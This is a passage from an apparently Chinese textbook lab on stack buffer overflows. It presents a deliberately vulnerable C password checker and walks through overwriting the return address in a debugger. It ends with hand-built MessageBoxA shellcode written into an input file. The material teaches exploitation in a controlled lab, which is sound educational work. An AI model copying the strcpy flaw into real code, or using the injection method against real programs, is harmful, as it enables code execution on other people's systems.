2.4.2 向进程中植入代码
为了完成在栈区植入代码并执行,我们在上节的密码验证程序的基础上稍加修改,使用如下的实验代码。
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password(char *password)
{
int authenticated;
char buffer[44];
authenticated = strcmp(password, PASSWORD);
strcpy(buffer, password); //over flowed here!
return authenticated;
}
main()
{
int valid_flag = 0;
char password[1024];
FILE * fp;
LoadLibrary("user32.dll"); //prepare for messagebox
if(!(fp = fopen("C:\\Documents and Settings\\Administrator\\桌面\\project\\test\\Debug\\password.txt", "rw+"))) // '\'被转义
{
exit(0);
}
fscanf(fp, "%s", password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
}
这段代码在 2.3 节溢出代码的基础上修改了 3 处。
-
增加了头文件 windows.h,以便程序能够顺利调用 LoadLibrary 函数去装载 user32.dll。
-
verify_password 函数的局部变量 buffer 由 8 字节增加到 44 字节,这样做是为了有足够的空间来“承载”我们植入的代码。
-
main 函数中增加了 LoadLibrary("user32.dll")用于初始化装载 user32.dll,以便在植入代码中调用 MessageBox。
用 VC6.0 将上述代码编译(默认编译选项,编译成 debug 版本),得到有栈溢出的可执行文件。在同目录下创建 password.txt 文件用于程序调试。
在 password.txt 文件写入正确密码“1234567”验证程序有效。
我们准备在 password.txt 文件中植入二进制的机器码,在 password.txt 攻击成功时,密码验证程序应该执行植入的代码,并在桌面上弹出一个消息框显示“failwest”字样。
让我们在动手之前回顾一下我们需要完成的几项工作。
-
分析并调试漏洞程序,获得淹没返回地址的偏移。
-
获得 buffer 的起始地址,并将其写入 password.txt 的相应偏移处,用来冲刷返回地址。
-
向 password.txt 中写入可执行的机器代码,用来调用 API 弹出一个消息框。
本节验证程序里 verify_password 中的缓冲区为 44 个字节,按照前边实验中对栈结构的分析,我们不难得出栈帧中的状态。
如果在 password.txt 中写入恰好 44 个字符,那么第 45 个隐藏的截断符 null 将冲掉 authenticated 低字节中的 1,从而突破密码验证的限制。我们不妨就用 44 个字节作为输入来进行动态调试。
出于字节对齐、容易辨认的目的,我们把“4321”作为一个输入单元(一个内存单元32位,即4字节)。
buffer[44]共需要 11 个这样的单元。
第 12 个输入单元将 authenticated 覆盖;第 13 个输入单元将前栈帧 EBP 值覆盖;第 14 个输入单元将返回地址覆盖。
分析过后,我们需要进行调试验证分析的正确性。首先,在 password.txt 中写入 11 组“4321”,共 44 个字符,如图 2.4.2 所示。
如我们所料,authenticated 被冲刷后,程序将进入验证通过的分支,如图 2.4.3 所示。
用 OllyDbg 加载这个生成的 PE 文件进行动态调试,字符串复制函数过后的栈状态如图 2.4.4 所示。
局部变量名 | 内存地址 | 偏移 3 处的值 | 偏移 2 处的值 | 偏移 1 处的值 | 偏移 0 处的值 |
---|---|---|---|---|---|
buffer[0~3] | 0x0012FAF0 | 0x31('1') | 0x32('2') | 0x33('3') | 0x34('4') |
...... | (9个双字) | 0x31('1') | 0x32('2') | 0x33('3') | 0x34('4') |
buffer[40~43] | 0x0012FB18 | 0x31('1') | 0x32('2') | 0x33('3') | 0x34('4') |
authenticated(被覆盖前) | 0x0012FB1C | 0x00 | 0x00 | 0x00 | 0x31('1') |
authenticated(被覆盖后) | 0x0012FB1C | 0x00 | 0x00 | 0x00 | 0x00(NULL) |
前栈帧 EBP | 0x0012FB20 | 0x00 | 0x12 | 0xFF | 0x80 |
返回地址 | 0x0012FB24 | 0x00 | 0x40 | 0x11 | 0x18 |
动态调试的结果证明了前边分析的正确性。从这次调试中,我们可以得到以下信息。
- buffer 数组的起始地址为 0x0012FAF0。
- password.txt 文件中第 53~56 个字符的 ASCII 码值将写入栈帧中的返回地址,成为函数返回后执行的指令地址。
也就是说,将buffer的起始地址0x0012FAF0写入password.txt文件中的第53~56个字节,在 verify_password 函数返回时会跳到我们输入的字串开始取指执行。
我们下面还需要给 password.txt 中植入机器代码。
让程序弹出一个消息框只需要调用 Windows 的 API 函数 MessageBox。MSDN 对这个函数的解释如下。
int MessageBox(
HWND hWnd,
LPCTSTR lpText,
LPCTSTR lpCaption,
UINT uType
);
- hWnd [in] 消息框所属窗口的句柄,如果为 NULL,消息框则不属于任何窗口。
- lpTex [in] 字符串指针,所指字符串会在消息框中显示。
- lpCaption [in] 字符串指针,所指字符串将成为消息框的标题。
- uType [in] 消息框的风格(单按钮、多按钮等),NULL 代表默认风格。
我们将给出调用这个 API 的汇编代码,然后翻译成机器代码,用十六进制编辑工具填入password.txt 文件。
题外话:熟悉 MFC 的程序员一定知道,其实系统中并不存在真正的 MessagBox 函数, 对 MessageBox 这类 API 的调用最终都将由系统按照参数中字符串的类型选择“A” 类函数(ASCII)或者“W”类函数(UNICODE)调用。因此,我们在汇编语言中调用的函数应该是 MessageBoxA。多说一句,其实 MessageBoxA 的实现只是在设置了几个不常用参数后直接调用 MessageBoxExA。探究 API 的细节超出了本书所讨论的范围,有兴趣的读者可以参阅其他书籍。
用汇编语言调用 MessageboxA 需要 3 个步骤。
- 装载动态链接库 user32.dll。MessageBoxA 是动态链接库 user32.dll 的导出函数。虽然大多数有图形化操作界面的程序都已经装载了这个库,但是我们用来实验的consol版并没有默认加载它。
- 在汇编语言中调用这个函数需要获得这个函数的入口地址。
- 在调用前需要向栈中按从右向左的顺序压入 MessageBoxA 的 4 个参数。
为了让植入的机器代码更加简洁明了,我们在实验准备中构造漏洞程序的时候已经人工加载了 user32.dll 这个库,所以第一步操作不用在汇编语言中考虑。
MessageBoxA 的入口参数可以通过 user32.dll 在系统中加载的基址和 MessageBoxA 在库中的偏移相加得到。具体的我们可以使用 VC6.0 自带的小工具“Dependency Walker”获得这些信息。您可以在 VC6.0 安装目录下的 Tools 下找到它,如图 2.4.5 所示。
运行 Depends 后,随便拖拽一个有图形界面的 PE 文件进去,就可以看到它所使用的库文件了。在左栏中找到并选中 user32.dll 后,右栏中会列出这个库文件的所有导出函数及偏移地址;下栏中则列出了 PE 文件用到的所有的库的基地址。
如图 2.4.6 所示,user32.dll 的基地址为 0x77D10000,MessageBoxA 的偏移地址为 0x0004058A。基地址加上偏移地址就得到了 MessageBoxA 在内存中的入口地址 0x77D5058A。
注意: user32.dll 的基地址和其中导出函数的偏移地址与操作系统版本号、补丁版本号等诸多因素相关,故您用于实验的计算机上的函数入口地址很可能与这里不一致。请您一定注意要在当前实验的计算机上重新计算函数入口地址,否则后面的函数调用会出错。能够适应于各种操作系统版本的通用的代码植入方法将在第 5 章进行详细介绍。
有了这个入口地址,就可以编写进行函数调用的汇编代码了。这里我们先把字符串 “failwest”压入栈区,消息框的文本和标题都显示为“failwest”,只要重复压入指向这个字符串的指针即可;第 1 个和第 4 个参数这里都将设置为 NULL。写出的汇编代码和指令所对应的机器代码如表 2-4-3 所示。
机器代码(十六进制) | 汇编指令 | 注释 |
---|---|---|
33DB XOR | EBX, EBX | 压入 NULL 结尾的“failwest”字符串。之所以用 EBX 清零后入栈作为字符串的截断符,是为了 避免“PUSH 0”中的 NULL,否则植入的机器码会被 strcpy 函数截断。 |
53 PU | SH EBX | |
6877657374 PU | SH 74736577 | |
686661696C PU | SH 6C696166 | |
8BC4 MOV | EAX, ESP | EAX 里是字符串指针。 |
53 PU | SH EBX | 4 个参数按照从右向左的顺序入栈,分别为 (0,failwest,failwest,0); 消息框为默认风格,文本区和标题都是 “failwest”。 |
50 PU | SH EAX | |
50 PU | SH EAX | |
53 PU | SH EBX | |
B88A05D577 | MOV EAX, 0x77D5058A | 调用 MessageBoxA。注意:不同的机器这里的 函数入口地址可能不同,请按实际值填入! |
FFD0 C | ALL EAX |
题外话:从汇编指令到机器码的转换可以有很多种方法。调试汇编指令,从汇编指令中提取出二进制机器代码的方法将在第 5 章集中讨论。由于这里仅仅用了 11 条指令和对应的 26 个字节的机器代码,如果您一定要现在就弄明白指令到机器码是如何对应的话,直接查阅 Intel 的指令集手工翻译也是可以的。
将上述汇编指令对应的机器代码按照上一节介绍的方法以十六进制形式逐字写入 password.txt,第 53~56 字节填入 buffer 的起址 0x0012FAF0,其余的字节用 0x90(nop 指令)填充,如图 2.4.7 所示。
换回文本模式可以看到这些机器代码所对应的字符,如图 2.4.8 所示。
这样构造了 password.txt 之后再运行验证程序,程序执行的流程将如图 2.4.9 所示。
程序运行情况如图 2.4.10 所示。
成功地弹出了我们植入的代码。
但是在单击“确定”按钮之后,程序会崩溃,如图 2.4.11 所示。
这是因为 MessageBoxA 调用的代码执行完成后,我们没有写用于安全退出的代码的缘故。
您会在后面的章节中见到更深入的代码植入讨论,包括编写通用的植入代码,在植入代码中安全地退出,甚至在植入代码结束后修复堆栈和寄存器,让程序重新回到正常的执行流程。